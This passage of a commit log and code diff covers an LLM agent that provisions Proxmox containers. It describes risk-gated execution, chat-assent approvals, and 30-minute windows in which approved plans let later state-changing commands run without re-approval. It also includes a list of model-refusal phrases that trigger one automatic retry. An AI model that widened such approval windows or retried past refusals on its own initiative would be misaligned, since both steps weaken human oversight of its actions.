- internal/policy/command.go: ClassifyCommand(cmd, declaredRisk) — rule-based
  read-only allowlist + destructive denylist, default-escalate to
  config_mutation for anything else. Classification can only ESCALATE the
  caller's declared risk, never de-escalate it (destructive always wins even
  if declared read_only). Compound commands (&&, ;, |, $()) never qualify for
  the read-only fast path. Full test corpus.
- internal/mcp/server.go: new `run` MCP tool — target (host:/lxc:), command,
  purpose, optional declared_risk. Read-only commands execute immediately;
  everything else queues an approval exactly like pct_create today, executed
  via httpapi's existing executeApprovedAction. Also fixes a real latent bug:
  pct_exec resolved an LXC's host attribute without the "host:" prefix, so it
  could never find the Proxmox host — new resolveExecTarget/resolveRunTarget
  helpers (mcp + httpapi) fix this for both the new `run` action and existing
  actions that route through the same execution path.
- internal/httpapi/phase3.go: "run" case in executeApprovedAction; fixes two
  bugs found while wiring this up — (1) DecideApproval hardcoded risk_class to
  'config_mutation' on every approve, silently corrupting the audit ledger for
  every other risk class; (2) denying/revoking an approval never updated the
  linked execution's status, so it stayed 'pending_approval' forever instead
  of reflecting the decision.
- cmd/nomos/assent.go: deterministic (not LLM-judged) chat-assent detection.
  Scoped to the immediately-preceding assistant turn's pending approvals only
  — an old "yes" can't retroactively approve something new. Destructive-risk
  actions are excluded from loose assent. Approves via the same HTTP decision
  endpoint the UI button calls, so both paths share one audit trail.
- web/.../InlineApproval.svelte: self-healing poll — a pending approval card
  now picks up being decided via ANY path (chat assent, Ops page, Matrix), not
  just its own button. Previously the banner stayed stuck showing
  Approve/Deny even after the action had already run elsewhere.
- nomos/SOUL.md: `run` is now the general capability ("no fixed menu, only a
  risk gate"); documents chat-assent behavior and the destructive exception.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 09:28:00 +02:00
9daf8220f2 plan: add observability layer and chat-assent approval to gated-execution plan
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Operator directives: (1) the UI must show what's executing, its risk
classification, live status, and what knowledge the session created — the
system's growth should be visible, not just trusted. (2) approval should be
granted by chat assent ("go ahead"), not a separate button; destructive
actions still require a typed confirmation phrase.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 09:12:09 +02:00
4a96f46e76 plan: general gated execution — unlimited actions, gated by risk classifier
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Evaluate the agent's action path against the OIKOS.md design. Finding: the
intended model (unlimited runbook-driven actions gated by a risk classifier)
already exists on paper and in scaffolding, but the live agent path regressed
to a hard-coded 5-action enum that bypasses the classifier. Plan a layered
realignment: (0) one general gated `run` primitive, (1) runbooks-as-data as the
reliable fast-path, (2) learning. Chosen v1 posture: approve-most (read-only
auto-runs, all state changes gate). Incremental, each step shippable.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 09:03:23 +02:00
5f888e6386 fix: set C.UTF-8 locale in provisioning script
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Fresh Debian LXCs have no locale configured, spamming "apt-listchanges:
Can't set locale" / perl warnings across every install and breaking some
packages' post-install scripts. Pin LANG/LC_ALL=C.UTF-8 (and hoist
DEBIAN_FRONTEND) at the top of the in-container bootstrap.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 01:21:23 +02:00
f248508919 feat: robust provisioning (DNS self-heal) + live execution feedback in chat
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Production session provisioned the container but the service never installed:
apt failed with "Temporary failure resolving deb.debian.org" — a static-IP LXC
whose assigned nameserver couldn't resolve. The operator also got zero feedback:
the approval banner just sat there with no running/complete/failed status.

Backend robustness (provisionScript):
- Wait for real DNS/connectivity inside the container before apt, and self-heal
  /etc/resolv.conf to a public resolver (1.1.1.1/8.8.8.8) if the assigned one
  is dead. `set -e` after the gate so apt/post_install failures surface.
- apt-get update/install with Acquire::Retries=3.

Frontend feedback (InlineApproval):
- After approve, poll GET /executions/{id} and show live phase: submitting →
  provisioning… → provisioned successfully / execution failed (with the error).
- add getExecution() to api.ts.

Agent guidance (SOUL.md):
- omit vmid (auto-assigned), prefer dhcp, docker-compose-plugin is not in Debian
  (use docker.io + get.docker.com), end post_install with a health check.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 01:15:21 +02:00
a1f666f68a fix: build execution result JSON via json.Marshal (was stuck at 'approved')
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The final "UPDATE executions SET result=$::jsonb" built its payload with
fmt.Sprintf and only escaped newlines. apt/pct output contains quotes,
backslashes and control chars, so the payload was invalid JSON, the jsonb
cast failed, and the (unchecked) UPDATE was silently discarded — the
execution stayed 'approved' with a NULL result even though the LXC was fully
provisioned (verified live: vmid auto-assigned, container running, service
installed, post_install ran).

- executeApprovedAction: marshal result via json.Marshal; log UPDATE errors
- add jsonErr() helper; route all pct_create failure-path results through it
- mcp/server.go: add jsonOut() for restart/systemctl/pct_exec inline results
- regression test for JSON validity on quote/backslash/control-char output

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 00:58:43 +02:00
ac86302f52 fix: pct_create make vmid optional, fix dhcp+gw, longer boot settle
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Follow-ups found while verifying the approve→provision path end to end:
- vmid is now optional: the early required-field check rejected vmid:0
  before the cluster VMID guard could auto-assign a free id. Only hostname
  is required now; 0 (or a collision) resolves to `pvesh get /cluster/nextid`.
- net0: use ip=dhcp with no gateway when no static IP is given (Proxmox
  rejects gw alongside dhcp); only attach gw for a static CIDR.
- bump post-create settle to 10s so a DHCP lease is up before apt runs.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 00:50:54 +02:00
8ed2b88495 fix: pct_create false-success, VMID collision, and stuck approval banner
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Real production failure when the operator clicked Approve in chat: nothing
provisioned, banner never cleared, execution marked completed.

Three root causes:
- sshExec swallowed non-zero exits when the command produced output, so a
  `pct create` that printed "CT 132 already exists" and failed was reported
  as success and a bogus lxc entity was registered. Now any non-zero exit
  returns an error (with output) so the execution is correctly marked failed.
- The LLM reused VMID 132 (belongs to lxc:rclone; VMIDs are cluster-wide).
  pct_create now checks in-use VMIDs via `pvesh get /cluster/resources` and
  falls back to `pvesh get /cluster/nextid` when the requested id is taken.
- InlineApproval.svelte reset its state on every prop change (done was also
  compared against the wrong string), so the banner never cleared and each
  click re-POSTed /decision. Rewritten to track outcome per executionId,
  clear on success, and block resubmits.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 00:44:51 +02:00
b37f85ae08 fix: make Nomos actually provision LXCs from chat (pct_create + web fetch)
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Root cause of "asks permission but never acts": the approved pct_create
execution failed to parse because the LLM emitted `"privileged":0` /
`"nesting":1` (numbers) into strict `bool` fields, so the container was
never created. Compounded by a hardcoded template name (debian-13.0-1)
that no longer exists on the host, and no way for the agent to read the web.

- flexBool: accept 0/1, "true", bool for privileged/nesting (the exact prod failure)
- pct_create template pre-flight: list host cache, validate/auto-pick newest debian
- pct_create services[] + post_install: one approval provisions a working service
- new http_get MCP tool (sanitized, size-capped, SSRF-guarded) — agent can read repos/sites
- request_execution description: target=host, full JSON schema + example
- SOUL.md: agent CAN fetch the web; prefer one-step provisioning
- default model deepseek-v4-flash -> v4-pro; maxIterations 15 -> 25
- unit tests for flexBool, template resolve, pkg sanitize, HTML sanitize + SSRF block

Verified live on host:strong with a throwaway VMID 999: template auto-resolved,
container created + booted, services installed, post_install ran, then destroyed.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 00:28:56 +02:00
a567930466 fix: make execution names unique, move approval bar above input
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- Execution entity name now includes UUID suffix: 'pct_create on host:strong (abc12345)'
  so the (type,name) UNIQUE constraint doesn't block subsequent executions for the
  same target+action. Dedup now uses JOIN + LIKE prefix match to find only
  pending_approval executions.

- Move persistent approval bar from top of messages area to just above the
  chat input box (bottom-fixed position, above the textarea form).
2026-07-09 23:42:49 +02:00
9376dc7d89 fix: dedup request_execution, persistent approval bar, JSON payload
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- Add dedup in request_execution: check entities(type,name) uniqueness before
  creating duplicate executions. Returns 'already queued' message to the LLM,
  preventing tool-calling loops.

- Fix createApproval JSON payload: use json.Marshal instead of fmt.Sprintf
  to escape params (could contain unescaped double quotes from JSON config).

- Add ON CONFLICT DO NOTHING to entity/execution inserts for dedup race safety.

- Persistent approval bar at top of Chat.svelte: aggregates pendingApprovals
  from all messages, fixed position (won't scroll away). Approve/deny/approve-all.

- Update SOUL.md: agent must STOP after queuing a gated action.

- Fix ToolCallGroup  reactivity: wasActive = (active).
2026-07-09 23:19:55 +02:00
d9683cfe29 fix: structured approvals + ToolCallGroup reactivity
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- Replace text-based regex parsing in InlineApproval with structured
  pendingApprovals extracted from request_execution tool results. The tool
  result text is deterministic (not LLM-generated), making UUID extraction
  reliable regardless of how the LLM rephrases the response.

- Fix ToolCallGroup  reactivity: wasActive = active captured initial
  value. Now uses (active) so  re-runs on prop changes.

- Extract approvals in both live streaming (done event) and history loading
  for consistent behavior on resumed sessions.
2026-07-09 11:35:30 +02:00
ea62d744ed feat: pct_create action, ToolCallGroup collapse+animation, inline chat approval
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- Add pct_create to request_execution (MCP) and executeApprovedAction (httpapi)
  Parses JSON config: vmid, hostname, cores, memory, disk_gb, ip, gw, storage,
  template, privileged, nesting, mounts, nameserver, searchdomain. Creates
  entity (state=provisioning), hosts relationship, entity_status on success.
  Fixes action string parsing to use Index instead of SplitN (colons in JSON).

- Rewrite ToolCallGroup.svelte: bits-ui Collapsible replaces native <details>.
  Collapsed by default. Animated header shows live tool count + running tool
  name while streaming. Auto-expands during streaming, auto-collapses on done.

- Add InlineApproval component: parses 'execution UUID queued' from agent
  response, renders Approve/Deny buttons inline in chat, calls decideApproval.

- Document pct_create in nomos/SOUL.md with params, risk class, and approval flow.

- Add session-review skill at .agents/skills/session-review/SKILL.md.

- Add plan: 2026-07-09-session-execution-and-ux-fixes.md.
2026-07-09 11:15:28 +02:00
0d29b1db81 fix: move completed signal-triggers plan to done/, add missing liveness-drift to index, add plan-consistency lint checks 2026-07-09 10:47:39 +02:00
e92a6ff7a5 fix: trash-2 icon name (lucide uses trash-2, not trash2)
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2026-07-09 10:21:22 +02:00
49c37fe8b1 fix: chat session reliability, cost, and hygiene (empty-response guard, tool truncation, delete, titles)
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- Empty/refusal responses retried once, then surfaced as errors instead of silent blanks
- Chinese refusal boilerplate detected via denylist + non-ASCII heuristic
- Bulk-tool preference added to SOUL.md (list_lxcs over per-entity get_lxc_state)
- Tool results truncated to 4KB on persist; get_state_snapshot filters null-state entities
- Session delete (DELETE /sessions/{id} + confirm-on-second-click UI)
- Session titles auto-generated from assistant answer instead of raw user message
2026-07-09 10:18:06 +02:00
74 changed files with 10160 additions and 1063 deletions

View File

@@ -1,16 +1,17 @@
#!/usr/bin/env python3
"""Lint committed docs against .agents/shared/writing-style.md.
Checks two mechanical rules:
Checks:
1. Banned vocabulary (significance puffers, analytical verbs, poetic nouns,
promotional adjectives, opening crutches).
2. Broken relative markdown links.
3. Plan status consistency (status vs location vs index).
Prose-voice rules are not machine-checkable; this covers the parts that are.
Run from the repo root: python3 .agents/skills/docs-lint/lint.py [paths...]
Exit 1 if any violation is found.
"""
import os, re, sys
import os, re, sys, glob
BANNED = [
"pivotal", "crucial", "vital", "groundbreaking", "transformative", "testament",
@@ -33,9 +34,125 @@ def iter_md(paths):
if f.endswith(".md"):
yield os.path.join(root, f)
def check_plans():
"""Check plan status consistency: active plans with 'Done' status, files
missing from index, dangling index entries, done files with wrong status."""
REPO = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
plans_dir = os.path.join(REPO, "plans")
done_dir = os.path.join(REPO, "plans", "done")
index_path = os.path.join(plans_dir, "index.md")
if not os.path.exists(index_path):
return 0
violations = 0
STATUS_RE = re.compile(r'^\*\*Status:\*\*\s*(.+)', re.I)
# Parse index.md for active and done entries
active_files = set()
done_files = set()
current_section = None
with open(index_path) as f:
for line in f:
if line.startswith("## Active"):
current_section = "active"
continue
if line.startswith("## Done"):
current_section = "done"
continue
if current_section == "active":
m = re.search(r'\]\(([^)]+)\)', line)
if m:
active_files.add(m.group(1))
elif current_section == "done":
m = re.search(r'\]\(([^)]+)\)', line)
if m:
done_files.add(m.group(1))
# Active plans on disk (not in done/, not index.md)
disk_active = set()
for f in glob.glob(os.path.join(plans_dir, "*.md")):
name = os.path.basename(f)
if name == "index.md":
continue
disk_active.add(name)
# Done plans on disk
disk_done = set()
if os.path.isdir(done_dir):
for f in glob.glob(os.path.join(done_dir, "*.md")):
disk_done.add("done/" + os.path.basename(f))
# Check 1: active plans on disk whose internal status is Done/Implemented/Complete
for name in disk_active:
fpath = os.path.join(plans_dir, name)
with open(fpath) as f:
for line_num, line in enumerate(f, 1):
if line_num > 5:
break
m = STATUS_RE.match(line)
if m:
status = m.group(1).strip().lower()
done_keywords = ["done", "implemented", "complete", "completed"]
if any(status.startswith(kw) for kw in done_keywords):
print(f"{fpath}:{line_num}: status '{m.group(1).strip()}' — file is in plans/ but appears done; move to done/")
violations += 1
break
# Check 2: active plans on disk not in index
for name in sorted(disk_active):
if name not in active_files:
fpath = os.path.join(plans_dir, name)
print(f"{fpath}:1: not listed in plans/index.md Active table")
violations += 1
# Check 3: done plans on disk not in index
for name in sorted(disk_done):
if name not in done_files:
fpath = os.path.join(REPO, "plans", name)
print(f"{fpath}:1: not listed in plans/index.md Done table")
violations += 1
# Check 4: index entries with no file on disk
for name in sorted(active_files):
if name not in disk_active:
print(f"plans/index.md: active entry '{name}' — file not found on disk")
violations += 1
for name in sorted(done_files):
if name not in disk_done:
print(f"plans/index.md: done entry '{name}' — file not found on disk")
violations += 1
# Check 5: files in done/ whose internal status doesn't say Done
for name in disk_done:
fpath = os.path.join(REPO, "plans", name)
with open(fpath) as f:
found_status = False
for line_num, line in enumerate(f, 1):
if line_num > 5:
break
m = STATUS_RE.match(line)
if m:
found_status = True
status = m.group(1).strip().lower()
if not status.startswith("done"):
print(f"{fpath}:{line_num}: status '{m.group(1).strip()}' — file is in done/ but status is not 'Done'")
violations += 1
break
if not found_status:
print(f"{fpath}:1: file is in done/ but has no Status header")
violations += 1
return violations
def main(argv):
paths = argv or ["knowledge", ".agents", "operations", "investigations", "plans"]
violations = 0
if "plans" in paths or any(p.startswith("plans") for p in paths):
violations += check_plans()
# The style guide and this skill enumerate the banned words by definition.
ban_exempt = ("shared/writing-style.md", "skills/docs-lint/")
for f in sorted(set(iter_md(paths))):

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@@ -0,0 +1,82 @@
---
name: session-review
description: "Examine a Nomos chat session, compare the user's objective with the actual outcome, identify causes of failure (missing tools, excessive tool calls, blocked actions, model behavior), and propose concrete fixes."
risk_class: reversible_low
inputs: [session_id]
---
# Session review
Analyze Nomos chat sessions from the live database, diff objectives
against outcomes, and propose fixes.
## 1. Retrieve session data
```bash
# List recent sessions
curl -s http://localhost:8092/sessions | jq '.sessions[:5]'
# Fetch one session with messages
curl -s http://localhost:8092/sessions/{session_id} | jq .
```
## 2. Classify the session
For each session determine:
| Dimension | Check |
|-----------|-------|
| Objective | What was the user trying to accomplish? |
| Outcome | Was it achieved? (read final assistant text) |
| Tool calls | Count, unique tools, redundancy (e.g., N+1 fan-out) |
| Blockers | Missing action? Missing tool? Model refusal? Empty response? |
| User frustration | Did the user need to clarify/correct/repeat? |
| Message sizes | Content blob sizes — truncation needed? |
## 3. Key failure signatures
| Signature | Root cause | Fix |
|-----------|-----------|-----|
| Agent: "I can't run X — only supports Y" | Missing action in `request_execution` | Add action in `internal/mcp/server.go` |
| Agent: "No local knowledge on that" + no web tool | Missing `http_get` / web fetch MCP tool | Add MCP tool |
| Empty assistant bubble (text="", no tools) | Model returned blank completion | Retry + error surfacing |
| Non-English boilerplate refusal | Flash-tier model degradation | Response quality guard |
| >30 tool calls per turn, same tool repeated | N+1 fan-out instead of bulk tool | Enrich bulk tools + tighten SOUL.md |
| Message >50KB in DB | Raw tool results persisted verbatim | Truncation in `store.go` |
## 4. Extract patterns across sessions
```bash
# All sessions summary
curl -s http://localhost:8092/sessions | jq -r '.sessions[] | "\(.id[:8]) \(.title[:80]) \(.created_at[:16])"'
# Message count + tool count per session
for id in $(curl -s http://localhost:8092/sessions | jq -r '.sessions[].id'); do
msgs=$(curl -s "http://localhost:8092/sessions/$id" | jq '.messages | length')
tools=$(curl -s "http://localhost:8092/sessions/$id" | jq '[.messages[].content.tool_calls | length] | add')
echo "$id $msgs msgs $tools tools"
done
```
## 5. Output format
```
Session: {id[:8]} — "{title[:60]}"
Messages: {N} ({user}/{assistant})
Tool calls: {total} across {turns} turns
Top tools: {name:count, name:count, ...}
Objective: {one-line summary}
Outcome: ✅ / ❌ / ⚠️
Blockers: {list or "none"}
Fixes needed: {concrete actions}
Severity: blocker | friction | cosmetic
```
## Related files
- `cmd/nomos/agent.go` — agent loop, tool building, response guards
- `cmd/nomos/store.go` — session + message persistence
- `internal/mcp/server.go` — all tool implementations including `request_execution`
- `web/src/lib/components/ToolCallGroup.svelte` — tool result display
- `nomos/SOUL.md` — agent persona and tool selection rules
- `plans/2026-07-09-chat-sessions-improvements.md` — prior session findings
- `plans/2026-07-09-session-execution-and-ux-fixes.md` — latest plan

View File

@@ -5,7 +5,9 @@ import (
"encoding/json"
"fmt"
"log/slog"
"net/http"
"os"
"strings"
"time"
"github.com/google/uuid"
@@ -14,24 +16,57 @@ import (
"github.com/openai/openai-go/shared"
)
const maxIterations = 15
// maxIterations bounds one chat turn's tool-calling loop. Provisioning a
// service is a long chain (research → plan → request_execution → per-step
// install/verify run calls), so this must be generous; a full deploy with the
// decomposed pct_create flow can legitimately need many steps. On exhaustion
// the loop now produces a real summary (finalSummary) rather than a dead end.
const maxIterations = 40
const maxLLMRetries = 1
// historyWindowSize bounds how many of a session's most recent persisted
// messages are replayed into the LLM's context on each turn — see
// store.go's getRecentMessages for why this exists (fix A2 of
// plans/2026-07-11-nomos-agent-code-review.md: unbounded history replay was
// a real, observed-in-production cost/latency/eventual-context-limit risk).
// 30 is a fixed-window choice, not token-budget-aware: simplest option that
// still keeps roughly the current task's working context, at the cost of
// occasionally dropping something a very long task still needed — the
// system note injected when truncation happens tells the model to check
// upsert_knowledge/search_knowledge rather than assume something didn't
// happen. A token-aware trim or LLM-summarize-on-drop are documented
// stretch options if a fixed window proves insufficient in practice.
const historyWindowSize = 30
var refusalDenylist = []string{
"我没有相关信息",
"您可以尝试问我其它问题",
"我无法",
"抱歉,我无法",
"关于这个问题,我没有",
}
type agent struct {
client *mcpClient
clients *mcpClientPool // one MCP client PER SESSION, not shared — see mcpClientPool's doc comment
system string
provider *openai.Client
model string
store *store
agentID uuid.UUID
reqOpts []option.RequestOption
apiBase string // oikos HTTP API base, derived from NOMOS_MCP_URL, for chat-assent approvals
httpClient *http.Client
}
func newAgent(ctx context.Context, mcpClient *mcpClient, st *store, agentSlug string) (*agent, error) {
func newAgent(ctx context.Context, clients *mcpClientPool, st *store, agentSlug string) (*agent, error) {
system := loadSoul()
apiKey := os.Getenv("OPENROUTER_API_KEY")
model := os.Getenv("NOMOS_MODEL")
if model == "" {
model = "deepseek/deepseek-v4-flash"
// v4-pro over v4-flash: the flash tier over-narrates, occasionally
// emits canned refusals, and is unreliable at multi-step tool use —
// exactly the agentic provisioning path the operator needs to work.
model = "deepseek/deepseek-v4-pro"
}
provider := openai.NewClient(
@@ -60,14 +95,26 @@ func newAgent(ctx context.Context, mcpClient *mcpClient, st *store, agentSlug st
}
reqOpts := []option.RequestOption{option.WithJSONSet("provider", providerRouting)}
// Derive the oikos HTTP API base from the MCP URL (e.g.
// "http://api:8090/mcp?session_id=..." -> "http://api:8090"). Used for
// chat-assent approvals, which call the same decision endpoint the UI's
// Approve button calls.
mcpURL := os.Getenv("NOMOS_MCP_URL")
apiBase := ""
if idx := strings.Index(mcpURL, "/mcp"); idx > 0 {
apiBase = mcpURL[:idx]
}
return &agent{
client: mcpClient,
clients: clients,
system: system,
provider: &provider,
model: model,
store: st,
agentID: agentID,
reqOpts: reqOpts,
apiBase: apiBase,
httpClient: &http.Client{Timeout: 15 * time.Second},
}, nil
}
@@ -83,6 +130,35 @@ You have access to MCP tools to query topology, health, knowledge, and request
gated mutations through request_execution. Be concise. Prefer tools over guessing.`
}
// assentWindowDuration is how long after an operator approves a plan that
// config_mutation commands auto-run without re-approval. The operator
// approved the plan; the agent should execute it end-to-end without
// stopping every step to re-ask. Destructive actions still always need
// explicit typed confirmation regardless of the window.
const assentWindowDuration = 30 * time.Minute
// openAssentWindow records an active assent window in autonomy_settings so
// the MCP run tool (separate process) can check it before requiring approval
// for config_mutation commands. Key is scoped to this agent's UUID AND this
// session/task — see store.go's assentWindowActive for why: without the
// session dimension, approving one task's plan would silently auto-run
// unapproved actions in any other concurrently-running task.
func (a *agent) openAssentWindow(ctx context.Context, sessionID string) {
if a.store == nil || a.store.pool == nil || a.agentID == uuid.Nil || sessionID == "" {
return
}
key := assentWindowKey(a.agentID, sessionID)
expires := time.Now().Add(assentWindowDuration).UTC().Format(time.RFC3339)
_, err := a.store.pool.Exec(ctx,
`INSERT INTO autonomy_settings (key, value) VALUES ($1, $2)
ON CONFLICT (key) DO UPDATE SET value = $2`, key, expires)
if err != nil {
slog.Warn("nomos: openAssentWindow", "error", err)
} else {
slog.Info("nomos: assent window opened", "agent", a.agentID, "session", sessionID, "expires", expires)
}
}
type toolDef struct {
Name string `json:"name"`
Description string `json:"description"`
@@ -97,28 +173,49 @@ type agentEvent struct {
}
func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(agentEvent)) {
a.chatWith(ctx, sessionID, message, "", emit)
}
// chatWith is chat() with an optional system-injected note appended after the
// replayed history. The auto-continuation worker uses it to resume a session
// with a finished execution's result ("execution X completed: … — continue the
// plan") without persisting a fake user turn. message is normally the new user
// message; for a worker continuation it is empty and systemInject carries the
// note.
func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject string, emit func(agentEvent)) {
correlationID := uuid.New().String()
tools, err := a.buildTools()
tools, err := a.buildTools(sessionID)
if err != nil {
emit(agentEvent{Type: "error", Data: fmt.Sprintf("build tools: %v", err), SessionID: sessionID})
return
}
// Rebuild conversation context from persisted history so sessions are
// multi-turn. The current user turn is saved by the HTTP handler before
// this runs, so it is already included in the history for real sessions.
// Prior tool_use/tool_result pairs are replayed as a tool-calling
// assistant message followed by matching tool-role results, so the agent
// starts each turn already knowing what it already checked instead of
// re-querying the same tools from scratch. Ephemeral sessions (no store)
// fall back to the single incoming message.
system := a.system
if snapshot := a.fleetSnapshot(); snapshot != "" {
if snapshot := a.fleetSnapshot(sessionID); snapshot != "" {
system += "\n\n" + snapshot
}
messages := []openai.ChatCompletionMessageParamUnion{openai.SystemMessage(system)}
history, _ := a.store.getMessages(ctx, sessionID)
history, truncatedHistory, _ := a.store.getRecentMessages(ctx, sessionID, historyWindowSize)
if truncatedHistory {
// Tell the model explicitly rather than silently dropping older
// turns — otherwise it might assume something wasn't done just
// because it doesn't see the turn that did it.
messages = append(messages, openai.SystemMessage(fmt.Sprintf(
"[System: this task has been running long enough that only the most recent %d turns of its history are included above your context — earlier turns happened but aren't shown. If you need to know what was already tried or found, check search_knowledge/get_entity_knowledge (if you recorded it) rather than assuming it didn't happen.]",
historyWindowSize)))
}
// sawSetGoal / sawCompleteTask track whether this session has EVER framed
// itself as a structured task (set_goal) or already reached a terminal
// state (complete_task) — across both replayed history and this turn's
// own tool calls (updated again below as they happen live). Used by the
// end-of-turn safety net (plans/2026-07-11-task-completion-safety-net.md,
// fix 1): most sessions are a single trivial Q&A exchange that answers in
// text and never calls either tool, leaving agent_sessions.status stuck
// at its creation-time default forever. If a session never framed itself
// as a task, its first plain-text turn-end IS the task ending.
var sawSetGoal, sawCompleteTask bool
var lastAssistantCalls []persistedCall
for _, m := range history {
text := extractText(m.Content)
switch m.Role {
@@ -129,8 +226,15 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
messages = append(messages, assistantToolCallMessage(calls))
for _, c := range calls {
messages = append(messages, openai.ToolMessage(c.resultText(), c.id))
switch c.name {
case "set_goal":
sawSetGoal = true
case "complete_task":
sawCompleteTask = true
}
}
lastAssistantCalls = calls
}
if text != "" {
messages = append(messages, openai.AssistantMessage(text))
}
@@ -140,6 +244,78 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
messages = append(messages, openai.UserMessage(message))
}
// Chat-assent approval: if the immediately-preceding assistant turn
// proposed gated action(s) and the operator's new message reads as
// authorization ("go ahead", "yes", ...), grant them now — this is the
// primary approval path; the Approve button in the UI is a fallback for
// when the operator wants to click instead of type. Destructive-risk
// actions are never granted by loose assent — they need the stricter
// isTypedConfirmation ("I confirm ...", per SOUL.md's guidance for what
// to ask the operator to type).
pending := extractPendingApprovals(lastAssistantCalls)
assent := isAssent(message)
typedConfirm := isTypedConfirmation(message)
if len(pending) > 0 && (assent || typedConfirm) {
var granted, blocked []string
for _, p := range pending {
if p.destructive && !typedConfirm {
blocked = append(blocked, p.execID)
continue
}
if !p.destructive && !assent {
continue // typed-confirm alone doesn't grant a non-destructive item without also reading as assent
}
ok, status, aerr := a.approveExecution(ctx, p.execID)
if aerr != nil {
slog.Error("nomos: chat-assent approve", "execution", p.execID, "error", aerr)
continue
}
if ok {
granted = append(granted, p.execID)
slog.Info("nomos: chat-assent granted", "execution", p.execID, "status", status, "session", sessionID)
emit(agentEvent{Type: "tool_use", Data: map[string]any{"name": "chat_assent", "args": map[string]any{"execution_id": p.execID}, "id": "assent-" + p.execID}, SessionID: sessionID})
emit(agentEvent{Type: "tool_result", Data: map[string]any{"name": "chat_assent", "result": fmt.Sprintf("Approved via chat assent (%q). Status: %s.", message, status), "id": "assent-" + p.execID}, SessionID: sessionID})
// An explicit typed confirmation for a destructive action
// opens a short, target-scoped window so the rest of a
// destructive recovery sequence on the SAME target (e.g.
// stop -> destroy) doesn't need a second typed confirmation.
if p.destructive && typedConfirm {
if execUUID, perr := uuid.Parse(p.execID); perr == nil {
if target := a.store.executionTarget(ctx, execUUID); target != "" {
a.store.openDestructiveWindow(ctx, a.agentID, target, sessionID)
slog.Info("nomos: destructive window opened", "agent", a.agentID, "target", target, "session", sessionID)
}
}
}
}
}
if len(granted) > 0 {
a.openAssentWindow(ctx, sessionID)
note := fmt.Sprintf("[System: the operator's message approved pending execution(s) %s via chat assent — they are now running. An assent window is now active for 30 minutes: config_mutation commands will auto-run without re-approval. Do not re-request or call request_execution/run again for these; check get_execution_status if you need the outcome. CONTINUE executing the full plan — do not stop and wait for 'continue' after each step. Only surface to the operator for destructive actions (need typed confirmation) or if you're genuinely stuck after trying alternatives.]", strings.Join(granted, ", "))
messages = append(messages, openai.SystemMessage(note))
}
if len(blocked) > 0 {
note := fmt.Sprintf("[System: execution(s) %s are classified DESTRUCTIVE and were NOT approved by loose assent — you must ask the operator for an explicit typed confirmation before they can run. Once they do confirm, further destructive steps on that SAME target (e.g. finishing a stop-then-destroy sequence) will auto-run for 15 minutes without asking again — but a different target always needs its own confirmation.]", strings.Join(blocked, ", "))
messages = append(messages, openai.SystemMessage(note))
}
} else if assent && len(lastAssistantCalls) == 0 {
// The operator said "proceed"/"go ahead"/"yes" but the preceding
// assistant turn had NO pending approvals — meaning the agent
// proposed a plan in text and asked "shall I?" without calling
// request_execution yet. Inject a system note telling the agent
// the operator approved — go execute the plan now.
note := "[System: The operator approved your proposed plan. Execute it now — call request_execution or run to carry out the steps you described. Do not re-describe the plan or ask for confirmation again. The assent window is active: config_mutation commands will auto-run once you create them.]"
messages = append(messages, openai.SystemMessage(note))
a.openAssentWindow(ctx, sessionID)
}
// Worker continuation: append the finished-execution note so the model
// sees the result and decides the next step (proceed / recover / done).
if systemInject != "" {
messages = append(messages, openai.SystemMessage(systemInject))
}
for i := 0; i < maxIterations; i++ {
params := openai.ChatCompletionNewParams{
Model: openai.ChatModel(a.model),
@@ -147,11 +323,12 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
Tools: tools,
}
// Stream the completion, emitting token deltas as they arrive. The
// accumulator reassembles the full message (content + tool calls) for
// the loop's control flow.
var msg openai.ChatCompletionMessage
var acc openai.ChatCompletionAccumulator
for attempt := 0; attempt <= maxLLMRetries; attempt++ {
acc = openai.ChatCompletionAccumulator{}
stream := a.provider.Chat.Completions.NewStreaming(ctx, params, a.reqOpts...)
acc := openai.ChatCompletionAccumulator{}
for stream.Next() {
chunk := stream.Current()
acc.AddChunk(chunk)
@@ -162,18 +339,44 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
}
}
if err := stream.Err(); err != nil {
if attempt < maxLLMRetries {
slog.Warn("nomos: llm stream error, retrying", "error", err, "attempt", attempt+1, "session", sessionID)
continue
}
emit(agentEvent{Type: "error", Data: fmt.Sprintf("llm: %v", err), SessionID: sessionID})
return
}
if len(acc.Choices) == 0 {
if attempt < maxLLMRetries {
slog.Warn("nomos: no choices in response, retrying", "attempt", attempt+1, "session", sessionID)
continue
}
emit(agentEvent{Type: "error", Data: "no choices in response", SessionID: sessionID})
return
}
msg := acc.Choices[0].Message
msg = acc.Choices[0].Message
if len(msg.ToolCalls) == 0 {
if isRefusalOrEmpty(msg.Content) {
if attempt < maxLLMRetries {
slog.Warn("nomos: empty or refusal response, retrying",
"session", sessionID, "iter", i+1, "attempt", attempt+1,
"content_len", len(msg.Content))
continue
}
emit(agentEvent{Type: "error", Data: "Nomos returned an empty or unusable response — please retry.", SessionID: sessionID})
return
}
}
break
}
if len(msg.ToolCalls) == 0 {
emit(agentEvent{Type: "text", Data: msg.Content, SessionID: sessionID})
if !sawSetGoal && !sawCompleteTask {
a.autoCompleteTrivialTask(ctx, sessionID, msg.Content)
}
emit(agentEvent{Type: "done", Data: map[string]any{
"session_id": sessionID,
"usage": acc.Usage,
@@ -193,6 +396,13 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
args = map[string]any{}
}
switch tc.Function.Name {
case "set_goal":
sawSetGoal = true
case "complete_task":
sawCompleteTask = true
}
emit(agentEvent{
